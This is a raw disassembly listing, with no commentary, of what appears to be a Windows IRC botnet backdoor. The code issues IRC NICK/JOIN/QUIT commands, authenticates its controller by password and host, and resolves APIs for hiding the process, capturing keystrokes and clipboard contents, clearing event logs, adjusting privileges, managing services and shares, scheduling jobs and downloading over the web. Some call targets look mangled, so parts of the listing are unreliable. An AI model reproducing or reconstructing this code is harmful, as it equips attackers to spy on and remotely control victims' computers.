dword_4CB5C0 push [ebp+arg_10] test eax, eax jz short loc_4094B3 push offset unk_429E40 jmp loc_406CD0 ; --------------------------------------------------------------------------- loc_4094B3: ; CODE XREF: sub_401ACD+79DAj push offset unk_429E1C jmp loc_406CD0 ; --------------------------------------------------------------------------- loc_4094BD: ; CODE XREF: sub_401ACD+3E4Aj ; sub_401ACD+3E5Fj mov eax, [ebp+arg_10] mov cl, [eax] mov byte_429094, cl movsx eax, byte ptr [eax] push eax push offset unk_429DF4 jmp loc_4049EC ; --------------------------------------------------------------------------- loc_4094D6: ; CODE XREF: sub_401ACD+3E20j ; sub_401ACD+3E35j push [ebp+arg_10] call sub_41B779 test eax, eax pop ecx jle loc_409855 push [ebp+arg_10] call sub_41B779 cmp eax, 400h pop ecx jge loc_409855 push ebx push ebx lea eax, [ebp+var_A0] push 2 push eax call sub_40B08E add esp, 10h push eax lea eax, [ebp+var_2C4] push offset dword_42BB5C push eax call sub_41B886 add esp, 0Ch jmp loc_408995 ; --------------------------------------------------------------------------- loc_409528: ; CODE XREF: sub_401ACD+3DF6j ; sub_401ACD+3E0Bj mov esi, [ebp+arg_10] push esi call sub_41B779 test eax, eax pop ecx jle loc_401E94 push esi call sub_41B779 cmp eax, 400h pop ecx jge loc_401E94 push offset aQuitLater ; "QUIT :later\r\n" push esi call sub_41B779 imul eax, 234h pop ecx push dword_43E59C[eax] call sub_409A2D pop ecx pop ecx push 1F4h nop call near ptr 26A0F44h push esi call sub_41B779 imul eax, 234h pop ecx push dword_43E59C[eax] call dword_4CB6EC push [ebp+var_10] push esi call sub_41B779 imul eax, 234h pop ecx push dword_43E5A4[eax] call near ptr 26C06DDh nop push esi call sub_41B779 imul eax, 234h push esi mov dword_43E5A4[eax], ebx call sub_41B779 imul eax, 234h pop ecx pop ecx mov byte ptr dword_43E390[eax], bl jmp loc_401E94 ; --------------------------------------------------------------------------- loc_4095D6: ; CODE XREF: sub_401ACD+3DCCj ; sub_401ACD+3DE1j push [ebp+arg_10] push offset aAll ; "all" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_409642 call sub_40B2C0 cmp eax, ebx jle short loc_4095FD push eax push offset unk_429DC8 jmp loc_408CDC ; --------------------------------------------------------------------------- loc_4095FD: ; CODE XREF: sub_401ACD+7B23j push offset unk_429DA0 loc_409602: ; CODE XREF: sub_401ACD+24FAj ; sub_401ACD+2519j ... lea eax, [ebp+var_2C4] push eax call sub_41B886 pop ecx pop ecx loc_409610: ; CODE XREF: sub_401ACD+721Ej cmp [ebp+var_8], ebx jnz short loc_409631 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] loc_409629: ; CODE XREF: sub_401ACD+6DB5j call sub_409A73 add esp, 14h loc_409631: ; CODE XREF: sub_401ACD+26F7j ; sub_401ACD+2722j ... lea eax, [ebp+var_2C4] push eax call sub_4151AD jmp loc_40207D ; --------------------------------------------------------------------------- loc_409642: ; CODE XREF: sub_401ACD+7B1Aj mov eax, [ebp+var_AC] lea edi, [eax+1] cmp edi, 20h jnb loc_401E94 lea eax, [ebp+edi*4+var_90] mov [ebp+arg_24], eax loc_40965E: ; CODE XREF: sub_401ACD+7C02j mov eax, [ebp+arg_24] mov esi, [eax] cmp esi, ebx jz loc_401E94 push esi call sub_41B779 push eax call sub_40B232 pop ecx pop ecx test eax, eax push esi jz short loc_409685 push offset unk_429D7C jmp short loc_40968A ; --------------------------------------------------------------------------- loc_409685: ; CODE XREF: sub_401ACD+7BAFj push offset unk_429D50 loc_40968A: ; CODE XREF: sub_401ACD+7BB6j lea eax, [ebp+var_2C4] push eax call sub_41B886 add esp, 0Ch cmp [ebp+var_8], ebx jnz short loc_4096BA push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A73 add esp, 14h loc_4096BA: ; CODE XREF: sub_401ACD+7BCFj lea eax, [ebp+var_2C4] push eax call sub_4151AD add [ebp+arg_24], 4 inc edi cmp edi, 20h pop ecx jb short loc_40965E jmp loc_401E94 ; --------------------------------------------------------------------------- loc_4096D6: ; CODE XREF: sub_401ACD+3DA2j ; sub_401ACD+3DB7j cmp [ebp+var_C], ebx jz loc_409855 push [ebp+arg_10] push [ebp+var_C] call sub_41B900 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_409855 push esi push offset dword_42A4BC push [ebp+arg_4] call sub_409A2D add esp, 0Ch push esi push offset dword_429D34 jmp loc_40984E ; --------------------------------------------------------------------------- loc_409712: ; CODE XREF: sub_401ACD+3D78j ; sub_401ACD+3D8Dj push [ebp+arg_10] push offset dword_42A420 push [ebp+arg_4] call sub_409A2D add esp, 0Ch push [ebp+arg_10] push offset unk_429D10 jmp loc_40984E ; --------------------------------------------------------------------------- loc_409732: ; CODE XREF: sub_401ACD+3D4Ej ; sub_401ACD+3D63j push [ebp+esi+var_88] push [ebp+arg_10] push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_409A2D add esp, 10h push [ebp+arg_10] push offset unk_429CEC jmp loc_40984E ; --------------------------------------------------------------------------- loc_409759: ; CODE XREF: sub_401ACD+3D24j ; sub_401ACD+3D39j push [ebp+arg_10] push offset aNickS ; "NICK %s\r\n" push [ebp+arg_4] call sub_409A2D add esp, 0Ch push [ebp+arg_10] push offset unk_429CC8 jmp loc_40984E ; --------------------------------------------------------------------------- loc_409779: ; CODE XREF: sub_401ACD+3164j ; sub_401ACD+3179j push offset aQuitReconnecti ; "QUIT :reconnecting\r\n" push [ebp+arg_4] call sub_409A2D pop ecx lea eax, [ebp+var_2C4] pop ecx push [ebp+arg_10] push offset unk_429CA4 push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_4151AD push [ebp+arg_10] call sub_41B779 add esp, 14h loc_4097B3: ; CODE XREF: sub_401ACD+7D34j push eax call near ptr 26A0F44h nop loc_4097BA: ; CODE XREF: sub_401ACD+2AA3j xor eax, eax jmp loc_401E97 ; --------------------------------------------------------------------------- loc_4097C1: ; CODE XREF: sub_401ACD+313Aj ; sub_401ACD+314Fj push offset aQuitReconnecti ; "QUIT :reconnecting\r\n" push [ebp+arg_4] call sub_409A2D pop ecx lea eax, [ebp+var_2C4] pop ecx push [ebp+arg_10] push offset unk_429C7C push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_4151AD push [ebp+arg_10] call sub_41B779 add esp, 14h imul eax, 3E8h jmp short loc_4097B3 ; --------------------------------------------------------------------------- loc_409803: ; CODE XREF: sub_401ACD+EC9j ; sub_401ACD+EDEj push [ebp+esi+var_8C] xor eax, eax cmp [ebp+var_8F0], bl setnz al push eax lea eax, [ebp+var_338] push dword_42909C push eax call sub_40B08E add esp, 10h lea eax, [ebp+var_338] push eax push offset aNickS ; "NICK %s\r\n" push [ebp+arg_4] call sub_409A2D add esp, 0Ch lea eax, [ebp+var_338] push eax push offset unk_429C58 loc_40984E: ; CODE XREF: sub_401ACD+70B5j ; sub_401ACD+778Bj ... call sub_415221 pop ecx loc_409854: ; CODE XREF: sub_401ACD+6CBAj pop ecx loc_409855: ; CODE XREF: sub_401ACD+659j ; sub_401ACD+665j ... mov eax, [ebp+arg_24] jmp loc_401E97 ; --------------------------------------------------------------------------- loc_40985D: ; CODE XREF: sub_401ACD+AB4j ; sub_401ACD+AC9j mov esi, [ebp+esi+var_8C] cmp esi, ebx mov [ebp+arg_10], esi jz loc_401E94 cmp [ebp+var_A4], ebx jnz loc_401E94 push offset asc_42D124 ; "!" push [ebp+var_90] call sub_41C0F4 mov esi, eax push offset dword_4CB50C push ebx inc esi call sub_41C0F4 push offset asc_429C54 ; "~" push eax call sub_41C0F4 push [ebp+arg_10] mov edi, eax push offset aCool ; "cool" call sub_41C070 add esp, 20h test eax, eax jz short loc_4098FC lea eax, [ebp+var_C4] push edi push eax lea eax, [ebp+var_C4] push eax push offset aNoticeSPassAut ; "NOTICE %s :Pass auth failed (%s!%s).\r\n" push [ebp+arg_4] call sub_409A2D add esp, 14h lea eax, [ebp+var_C4] push eax push offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"... push [ebp+arg_4] call sub_409A2D add esp, 0Ch push edi push esi push offset unk_429BD4 jmp loc_40240A ; --------------------------------------------------------------------------- loc_4098FC: ; CODE XREF: sub_401ACD+7DEBj mov [ebp+arg_24], offset off_429164 loc_409903: ; CODE XREF: sub_401ACD+7E52j mov eax, [ebp+arg_24] push edi push dword ptr [eax] call sub_40B450 pop ecx test eax, eax pop ecx jnz short loc_409963 add [ebp+arg_24], 4 cmp [ebp+arg_24], offset off_429168 jb short loc_409903 lea eax, [ebp+var_C4] push edi push eax lea eax, [ebp+var_C4] push eax push offset aNoticeSHostAut ; "NOTICE %s :Host Auth failed (%s!%s).\r\n" push [ebp+arg_4] call sub_409A2D add esp, 14h lea eax, [ebp+var_C4] push eax push offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"... push [ebp+arg_4] call sub_409A2D add esp, 0Ch push edi push esi push offset unk_429B80 jmp loc_40240A ; --------------------------------------------------------------------------- loc_409963: ; CODE XREF: sub_401ACD+7E45j mov edi, [ebp+arg_18] xor esi, esi loc_409968: ; CODE XREF: sub_401ACD+7EC5j cmp [ebp+arg_10], ebx jz loc_401E94 cmp [edi], bl jnz short loc_409988 push [ebp+arg_10] push offset aCool ; "cool" call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_409999 loc_409988: ; CODE XREF: sub_401ACD+7EA6j inc esi add edi, 80h cmp esi, 3 jl short loc_409968 jmp loc_401E94 ; --------------------------------------------------------------------------- loc_409999: ; CODE XREF: sub_401ACD+7EB9j shl esi, 7 add esi, [ebp+arg_18] lea eax, [ebp+var_E00] push 7Fh push eax push esi call sub_41B5F0 add esp, 0Ch cmp [ebp+var_8], ebx jnz short loc_4099D0 push ebx push [ebp+var_4] push offset unk_429B60 push [ebp+var_88] push [ebp+arg_4] call sub_409A73 add esp, 14h loc_4099D0: ; CODE XREF: sub_401ACD+7EE7j lea eax, [ebp+var_C4] push eax push offset unk_429B40 jmp loc_402077 ; --------------------------------------------------------------------------- loc_4099E1: ; CODE XREF: sub_401ACD+20Ej ; sub_401ACD+223j push [ebp+arg_10] push offset aUserhostS ; "USERHOST %s\r\n" push [ebp+arg_4] call sub_409A2D add esp, 0Ch push offset aXI ; "-x+i" push [ebp+arg_10] push offset aModeSS_0 ; "MODE %s %s\r\n" push [ebp+arg_4] call sub_409A2D add esp, 10h push [ebp+arg_C] push [ebp+arg_8] push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_409A2D add esp, 10h mov dword_4CB504, edi jmp loc_401D6A sub_401ACD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409A2D proc near ; CODE XREF: sub_401955+3Dp ; sub_401ACD+1CBp ... var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 200h lea eax, [ebp+arg_8] push eax lea eax, [ebp+var_200] push [ebp+arg_4] push 200h push eax call sub_41C190 add esp, 10h lea eax, [ebp+var_200] push 0 push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call dword_4CB6A4 leave retn sub_409A2D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409A73 proc near ; CODE XREF: sub_401ACD+518p ; sub_401ACD+137Ep ... var_400 = byte ptr -400h var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 400h cmp [ebp+arg_C], 0 push esi push edi mov edi, offset aNotice ; "NOTICE" jnz short loc_409A8E mov edi, offset aPrivmsg ; "PRIVMSG" loc_409A8E: ; CODE XREF: sub_409A73+14j push edi call sub_41AFE0 push [ebp+arg_4] mov esi, 1FAh sub esi, eax call sub_41AFE0 pop ecx sub esi, eax pop ecx lea eax, [ebp+var_400] push [ebp+arg_8] push offset aS_1 ; "%s" push esi push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_400] push eax lea eax, [ebp+var_200] push [ebp+arg_4] push edi push offset aSSS_0 ; "%s %s :%s\r\n" push eax call sub_41B886 add esp, 14h lea eax, [ebp+var_200] push 0 push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call dword_4CB6A4 cmp [ebp+arg_10], 0 pop edi pop esi jz short locret_409B11 push 7D0h nop call near ptr 26A0F44h locret_409B11: ; CODE XREF: sub_409A73+91j leave retn sub_409A73 endp ; =============== S U B R O U T I N E ======================================= sub_409B13 proc near ; CODE XREF: ___:0040126Cp push ebx push ebp mov ebp, dword_42709C push esi push edi push offset aKernel32_dll ; "kernel32.dll" call ebp mov esi, dword_4270BC mov edi, eax xor ebx, ebx cmp edi, ebx jz loc_409C33 push offset aSeterrormode ; "SetErrorMode" push edi call esi push offset aCreatetoolhelp ; "CreateToolhelp32Snapshot" push edi mov dword_4CB700, eax call esi push offset aProcess32first ; "Process32First" push edi mov dword_4CB674, eax call esi push offset aProcess32next ; "Process32Next" push edi mov dword_4CB658, eax call esi push offset aModule32first ; "Module32First" push edi mov dword_4CB568, eax call esi push offset aGetdiskfreespa ; "GetDiskFreeSpaceExA" push edi mov dword_4CB514, eax call esi push offset aGetlogicaldriv ; "GetLogicalDriveStringsA" push edi mov dword_4CB544, eax call esi push offset aGetdrivetypea ; "GetDriveTypeA" push edi mov dword_4CB5BC, eax call esi push offset aSearchpatha ; "SearchPathA" push edi mov dword_4CB6B4, eax call esi push offset aQueryperforman ; "QueryPerformanceCounter" push edi mov dword_4CB710, eax call esi push offset aQueryperform_0 ; "QueryPerformanceFrequency" push edi mov dword_4CB574, eax call esi cmp dword_4CB700, ebx mov dword_4CB55C, eax jz short loc_409C11 cmp dword_4CB674, ebx jz short loc_409C11 cmp dword_4CB658, ebx jz short loc_409C11 cmp dword_4CB568, ebx jz short loc_409C11 cmp dword_4CB544, ebx jz short loc_409C11 cmp dword_4CB5BC, ebx jz short loc_409C11 cmp dword_4CB6B4, ebx jz short loc_409C11 cmp dword_4CB710, ebx jz short loc_409C11 cmp dword_4CB574, ebx jz short loc_409C11 cmp eax, ebx jnz short loc_409C1B loc_409C11: ; CODE XREF: sub_409B13+B8j ; sub_409B13+C0j ... mov dword_4CB714, 1 loc_409C1B: ; CODE XREF: sub_409B13+FCj push offset aRegisterservic ; "RegisterServiceProcess" push edi call esi cmp eax, ebx mov dword_4CB68C, eax jz short loc_409C48 push 1 push ebx call eax jmp short loc_409C48 ; --------------------------------------------------------------------------- loc_409C33: ; CODE XREF: sub_409B13+1Dj nop call near ptr 26B0857h mov dword_4CB718, eax mov dword_4CB714, 1 loc_409C48: ; CODE XREF: sub_409B13+117j ; sub_409B13+11Ej push offset aUser32_dll ; "user32.dll" nop call near ptr 26E0000h mov edi, eax cmp edi, ebx jz loc_409D5D push offset aSendmessagea ; "SendMessageA" push edi call esi push offset aFindwindowa ; "FindWindowA" push edi mov dword_4CB6B0, eax call esi push offset aIswindow ; "IsWindow" push edi mov dword_4CB660, eax call esi push offset aDestroywindow ; "DestroyWindow" push edi mov dword_4CB5F4, eax call esi push offset aOpenclipboard ; "OpenClipboard" push edi mov dword_4CB704, eax call esi push offset aGetclipboardda ; "GetClipboardData" push edi mov dword_4CB624, eax call esi push offset aCloseclipboard ; "CloseClipboard" push edi mov dword_4CB644, eax call esi push offset aExitwindowsex ; "ExitWindowsEx" push edi mov dword_4CB6A8, eax call esi cmp dword_4CB6B0, ebx mov dword_4CB594, eax jz short loc_409D01 cmp dword_4CB660, ebx jz short loc_409D01 cmp dword_4CB5F4, ebx jz short loc_409D01 cmp dword_4CB704, ebx jz short loc_409D01 cmp dword_4CB624, ebx jz short loc_409D01 cmp dword_4CB644, ebx jz short loc_409D01 cmp dword_4CB6A8, ebx jz short loc_409D01 cmp eax, ebx jnz short loc_409D0B loc_409D01: ; CODE XREF: sub_409B13+1B8j ; sub_409B13+1C0j ... mov dword_4CB71C, 1 loc_409D0B: ; CODE XREF: sub_409B13+1ECj push offset aGetasynckeysta ; "GetAsyncKeyState" push edi call esi push offset aGetkeystate ; "GetKeyState" push edi mov dword_4CB620, eax call esi push offset aGetwindowtexta ; "GetWindowTextA" push edi mov dword_4CB528, eax call esi push offset aGetforegroundw ; "GetForegroundWindow" push edi mov dword_4CB5F0, eax call esi cmp dword_4CB620, ebx mov dword_4CB5D8, eax jz short loc_409D68 cmp dword_4CB528, ebx jz short loc_409D68 cmp dword_4CB5F0, ebx jz short loc_409D68 cmp eax, ebx jnz short loc_409D72 jmp short loc_409D68 ; --------------------------------------------------------------------------- loc_409D5D: ; CODE XREF: sub_409B13+144j nop call near ptr 26B0857h mov dword_4CB720, eax loc_409D68: ; CODE XREF: sub_409B13+232j ; sub_409B13+23Aj ... mov dword_4CB71C, 1 loc_409D72: ; CODE XREF: sub_409B13+246j push offset aAdvapi32_dll ; "advapi32.dll" call ebp mov edi, eax cmp edi, ebx jz loc_409F2B push offset aRegopenkeyexa ; "RegOpenKeyExA" push edi call esi push offset aRegcreatekeyex ; "RegCreateKeyExA" push edi mov dword_4CB6C4, eax call esi push offset aRegsetvalueexa ; "RegSetValueExA" push edi mov dword_4CB608, eax call esi push offset aRegqueryvaluee ; "RegQueryValueExA" push edi mov dword_4CB678, eax call esi push offset aRegdeletevalue ; "RegDeleteValueA" push edi mov dword_4CB554, eax call esi push offset aRegclosekey ; "RegCloseKey" push edi mov dword_4CB5B8, eax call esi push offset aOpeneventloga ; "OpenEventLogA" push edi mov dword_4CB630, eax call esi push offset aCleareventloga ; "ClearEventLogA" push edi mov dword_4CB5D4, eax call esi cmp dword_4CB6C4, ebx mov dword_4CB5E4, eax jz short loc_409E1B cmp dword_4CB608, ebx jz short loc_409E1B cmp dword_4CB678, ebx jz short loc_409E1B cmp dword_4CB554, ebx jz short loc_409E1B cmp dword_4CB5B8, ebx jz short loc_409E1B cmp dword_4CB630, ebx jnz short loc_409E25 loc_409E1B: ; CODE XREF: sub_409B13+2DEj ; sub_409B13+2E6j ... mov dword_4CB724, 1 loc_409E25: ; CODE XREF: sub_409B13+306j push offset aOpenprocesstok ; "OpenProcessToken" push edi call esi push offset aLookupprivileg ; "LookupPrivilegeValueA" push edi mov dword_4CB638, eax call esi push offset aAdjusttokenpri ; "AdjustTokenPrivileges" push edi mov dword_4CB610, eax call esi cmp dword_4CB638, ebx mov dword_4CB6C0, eax jz short loc_409E60 cmp dword_4CB610, ebx jz short loc_409E60 cmp eax, ebx jnz short loc_409E6A loc_409E60: ; CODE XREF: sub_409B13+33Fj ; sub_409B13+347j mov dword_4CB724, 1 loc_409E6A: ; CODE XREF: sub_409B13+34Bj push offset aOpenscmanagera ; "OpenSCManagerA" push edi call esi push offset aOpenservicea ; "OpenServiceA" push edi mov dword_4CB648, eax call esi push offset aStartservicea ; "StartServiceA" push edi mov dword_4CB530, eax call esi push offset aControlservice ; "ControlService" push edi mov dword_4CB538, eax call esi push offset aDeleteservice ; "DeleteService" push edi mov dword_4CB59C, eax call esi push offset aCloseserviceha ; "CloseServiceHandle" push edi mov dword_4CB5A0, eax call esi push offset aEnumservicesst ; "EnumServicesStatusA" push edi mov dword_4CB54C, eax call esi push offset aIsvalidsecurit ; "IsValidSecurityDescriptor" push edi mov dword_4CB614, eax call esi cmp dword_4CB648, ebx mov dword_4CB53C, eax jz short loc_409F0E cmp dword_4CB530, ebx jz short loc_409F0E cmp dword_4CB538, ebx jz short loc_409F0E cmp dword_4CB59C, ebx jz short loc_409F0E cmp dword_4CB5A0, ebx jz short loc_409F0E cmp dword_4CB54C, ebx jz short loc_409F0E cmp dword_4CB614, ebx jz short loc_409F0E cmp eax, ebx jnz short loc_409F18 loc_409F0E: ; CODE XREF: sub_409B13+3C5j ; sub_409B13+3CDj ... mov dword_4CB724, 1 loc_409F18: ; CODE XREF: sub_409B13+3F9j push offset aGetusernamea ; "GetUserNameA" push edi call esi cmp eax, ebx mov dword_4CB534, eax jnz short loc_409F40 jmp short loc_409F36 ; --------------------------------------------------------------------------- loc_409F2B: ; CODE XREF: sub_409B13+26Aj nop call near ptr 26B0857h mov dword_4CB728, eax loc_409F36: ; CODE XREF: sub_409B13+416j mov dword_4CB724, 1 loc_409F40: ; CODE XREF: sub_409B13+414j push offset aGdi32_dll ; "gdi32.dll" call ebp mov edi, eax cmp edi, ebx jz loc_40A00C push offset aCreatedca ; "CreateDCA" push edi call esi push offset aCreatedibsecti ; "CreateDIBSection" push edi mov dword_4CB640, eax call esi push offset aCreatecompatib ; "CreateCompatibleDC" push edi mov dword_4CB698, eax call esi push offset aGetdevicecaps ; "GetDeviceCaps" push edi mov dword_4CB6A0, eax call esi push offset aGetdibcolortab ; "GetDIBColorTable" push edi mov dword_4CB65C, eax call esi push offset aSelectobject ; "SelectObject" push edi mov dword_4CB578, eax call esi push offset aBitblt ; "BitBlt" push edi mov dword_4CB524, eax call esi push offset aDeletedc ; "DeleteDC" push edi mov dword_4CB69C, eax call esi push offset aDeleteobject ; "DeleteObject" push edi mov dword_4CB510, eax call esi cmp dword_4CB640, ebx mov dword_4CB5B0, eax jz short loc_40A017 cmp dword_4CB698, ebx jz short loc_40A017 cmp dword_4CB6A0, ebx jz short loc_40A017 cmp dword_4CB65C, ebx jz short loc_40A017 cmp dword_4CB578, ebx jz short loc_40A017 cmp dword_4CB524, ebx jz short loc_40A017 cmp dword_4CB69C, ebx jz short loc_40A017 cmp dword_4CB510, ebx jz short loc_40A017 cmp eax, ebx jnz short loc_40A021 jmp short loc_40A017 ; --------------------------------------------------------------------------- loc_40A00C: ; CODE XREF: sub_409B13+438j nop call near ptr 26B0857h mov dword_4CB730, eax loc_40A017: ; CODE XREF: sub_409B13+4B9j ; sub_409B13+4C1j ... mov dword_4CB72C, 1 loc_40A021: ; CODE XREF: sub_409B13+4F5j mov ebp, dword_4270B8 push offset aWs2_32_dll ; "ws2_32.dll" call ebp mov edi, eax cmp edi, ebx jz loc_40A2DD push offset aWsastartup ; "WSAStartup" push edi call esi push offset aWsasocketa ; "WSASocketA" push edi mov dword_4CB5C4, eax call esi push offset aWsaasyncselect ; "WSAAsyncSelect" push edi mov dword_4CB6F8, eax call esi push offset a__wsafdisset ; "__WSAFDIsSet" push edi mov dword_4CB564, eax call esi push offset aWsaioctl ; "WSAIoctl" push edi mov dword_4CB540, eax call esi push offset aWsagetlasterro ; "WSAGetLastError" push edi mov dword_4CB600, eax call esi push offset aWsacleanup ; "WSACleanup" push edi mov dword_4CB5E8, eax call esi push offset aSocket ; "socket" push edi mov dword_4CB5AC, eax call esi push offset aIoctlsocket ; "ioctlsocket" push edi mov dword_4CB6D4, eax call esi push offset aConnect ; "connect" push edi mov dword_4CB6F0, eax call esi push offset aInet_ntoa ; "inet_ntoa" push edi mov dword_4CB5FC, eax call esi push offset aInet_addr ; "inet_addr" push edi mov dword_4CB6E0, eax call esi push offset aHtons ; "htons" push edi mov dword_4CB694, eax call esi push offset aHtonl ; "htonl" push edi mov dword_4CB654, eax call esi push offset aNtohs ; "ntohs" push edi mov dword_4CB650, eax call esi push offset aNtohl ; "ntohl" push edi mov dword_4CB584, eax call esi push offset aSend ; "send" push edi mov dword_4CB57C, eax call esi push offset aSendto ; "sendto" push edi mov dword_4CB6A4, eax call esi push offset aRecv ; "recv" push edi mov dword_4CB6B8, eax call esi push offset aRecvfrom ; "recvfrom" push edi mov dword_4CB66C, eax call esi mov dword_4CB62C, eax push offset aBind ; "bind" push edi call esi push offset aSelect ; "select" push edi mov dword_4CB680, eax call esi push offset aListen ; "listen" push edi mov dword_4CB63C, eax call esi push offset aAccept ; "accept" push edi mov dword_4CB67C, eax call esi push offset aSetsockopt ; "setsockopt" push edi mov dword_4CB6E8, eax call esi push offset aGetsockname ; "getsockname" push edi mov dword_4CB634, eax call esi push offset aGethostname ; "gethostname" push edi mov dword_4CB5F8, eax call esi push offset aGethostbyname ; "gethostbyname" push edi mov dword_4CB668, eax call esi push offset aGethostbyaddr ; "gethostbyaddr" push edi mov dword_4CB6D8, eax call esi push offset aGetpeername ; "getpeername" push edi mov dword_4CB60C, eax call esi push offset aClosesocket ; "closesocket" push edi mov dword_4CB5A8, eax call esi cmp dword_4CB5C4, ebx mov dword_4CB6EC, eax jz loc_40A2E8 cmp dword_4CB6F8, ebx jz loc_40A2E8 cmp dword_4CB564, ebx jz loc_40A2E8 cmp dword_4CB600, ebx jz loc_40A2E8 cmp dword_4CB5E8, ebx jz loc_40A2E8 cmp dword_4CB5AC, ebx jz loc_40A2E8 cmp dword_4CB6D4, ebx jz loc_40A2E8 cmp dword_4CB6F0, ebx jz loc_40A2E8 cmp dword_4CB5FC, ebx jz loc_40A2E8 cmp dword_4CB6E0, ebx jz loc_40A2E8 cmp dword_4CB694, ebx jz loc_40A2E8 cmp dword_4CB654, ebx jz loc_40A2E8 cmp dword_4CB650, ebx jz loc_40A2E8 cmp dword_4CB584, ebx jz short loc_40A2E8 cmp dword_4CB6A4, ebx jz short loc_40A2E8 cmp dword_4CB6B8, ebx jz short loc_40A2E8 cmp dword_4CB66C, ebx jz short loc_40A2E8 cmp dword_4CB62C, ebx jz short loc_40A2E8 cmp dword_4CB680, ebx jz short loc_40A2E8 cmp dword_4CB63C, ebx jz short loc_40A2E8 cmp dword_4CB67C, ebx jz short loc_40A2E8 cmp dword_4CB6E8, ebx jz short loc_40A2E8 cmp dword_4CB634, ebx jz short loc_40A2E8 cmp dword_4CB5F8, ebx jz short loc_40A2E8 cmp dword_4CB668, ebx jz short loc_40A2E8 cmp dword_4CB6D8, ebx jz short loc_40A2E8 cmp dword_4CB60C, ebx jz short loc_40A2E8 cmp eax, ebx jnz short loc_40A2F2 jmp short loc_40A2E8 ; --------------------------------------------------------------------------- loc_40A2DD: ; CODE XREF: sub_409B13+51Fj nop call near ptr 26B0857h mov dword_4CB738, eax loc_40A2E8: ; CODE XREF: sub_409B13+6BEj ; sub_409B13+6CAj ... mov dword_4CB734, 1 loc_40A2F2: ; CODE XREF: sub_409B13+7C6j push offset aWininet_dll ; "wininet.dll" call ebp mov edi, eax cmp edi, ebx jz loc_40A3F7 push offset aInternetgetcon ; "InternetGetConnectedState" push edi call esi push offset aInternetgetc_0 ; "InternetGetConnectedStateEx" push edi mov dword_4CB590, eax call esi push offset aHttpopenreques ; "HttpOpenRequestA" push edi mov dword_4CB518, eax call esi push offset aHttpsendreques ; "HttpSendRequestA" push edi mov dword_4CB61C, eax call esi push offset aInternetconnec ; "InternetConnectA" push edi mov dword_4CB5C8, eax call esi push offset aInternetopena ; "InternetOpenA" push edi mov dword_4CB628, eax call esi push offset aInternetopenur ; "InternetOpenUrlA" push edi mov dword_4CB5EC, eax call esi push offset aInternetcracku ; "InternetCrackUrlA" push edi mov dword_4CB558, eax call esi push offset aInternetreadfi ; "InternetReadFile" push edi mov dword_4CB550, eax call esi push offset aInternetcloseh ; "InternetCloseHandle" push edi mov dword_4CB560, eax call esi cmp dword_4CB590, ebx mov ecx, dword_4CB5EC mov dword_4CB688, eax jz short loc_40A3D3 cmp dword_4CB518, ebx jz short loc_40A3D3 cmp dword_4CB61C, ebx jz short loc_40A3D3 cmp dword_4CB5C8, ebx jz short loc_40A3D3 cmp dword_4CB628, ebx jz short loc_40A3D3 cmp ecx, ebx jz short loc_40A3D3 cmp dword_4CB558, ebx jz short loc_40A3D3 cmp dword_4CB550, ebx jz short loc_40A3D3 cmp dword_4CB560, ebx jz short loc_40A3D3 cmp eax, ebx jnz short loc_40A3DD loc_40A3D3: ; CODE XREF: sub_409B13+87Ej ; sub_409B13+886j ... mov dword_4CB73C, 1 loc_40A3DD: ; CODE XREF: sub_409B13+8BEj cmp ecx, ebx jz short loc_40A412 push ebx push ebx push ebx push ebx push offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)" call ecx cmp eax, ebx mov dword_4CB604, eax jnz short loc_40A412 jmp short loc_40A40C ; --------------------------------------------------------------------------- loc_40A3F7: ; CODE XREF: sub_409B13+7EAj nop call near ptr 26B0857h mov dword_4CB740, eax mov dword_4CB73C, 1 loc_40A40C: ; CODE XREF: sub_409B13+8E2j mov dword_4CB604, ebx loc_40A412: ; CODE XREF: sub_409B13+8CCj ; sub_409B13+8E0j push offset aIcmp_dll ; "icmp.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A45C push offset aIcmpcreatefile ; "IcmpCreateFile" push edi call esi push offset aIcmpclosehandl ; "IcmpCloseHandle" push edi mov dword_4CB5DC, eax call esi push offset aIcmpsendecho ; "IcmpSendEcho" push edi mov dword_4CB70C, eax call esi cmp dword_4CB5DC, ebx mov dword_4CB56C, eax jz short loc_40A467 cmp dword_4CB70C, ebx jz short loc_40A467 cmp eax, ebx jnz short loc_40A471 jmp short loc_40A467 ; --------------------------------------------------------------------------- loc_40A45C: ; CODE XREF: sub_409B13+90Aj call near ptr 26B0857h nop mov dword_4CB748, eax loc_40A467: ; CODE XREF: sub_409B13+939j ; sub_409B13+941j ... mov dword_4CB744, 1 loc_40A471: ; CODE XREF: sub_409B13+945j push offset aNetapi32_dll ; "netapi32.dll" call ebp mov edi, eax cmp edi, ebx jz loc_40A578 push offset aNetshareadd ; "NetShareAdd" push edi call esi push offset aNetsharedel ; "NetShareDel" push edi mov dword_4CB548, eax call esi push offset aNetshareenum ; "NetShareEnum" push edi mov dword_4CB520, eax call esi push offset aNetschedulejob ; "NetScheduleJobAdd" push edi mov dword_4CB598, eax call esi push offset aNetapibufferfr ; "NetApiBufferFree" push edi mov dword_4CB5CC, eax call esi push offset 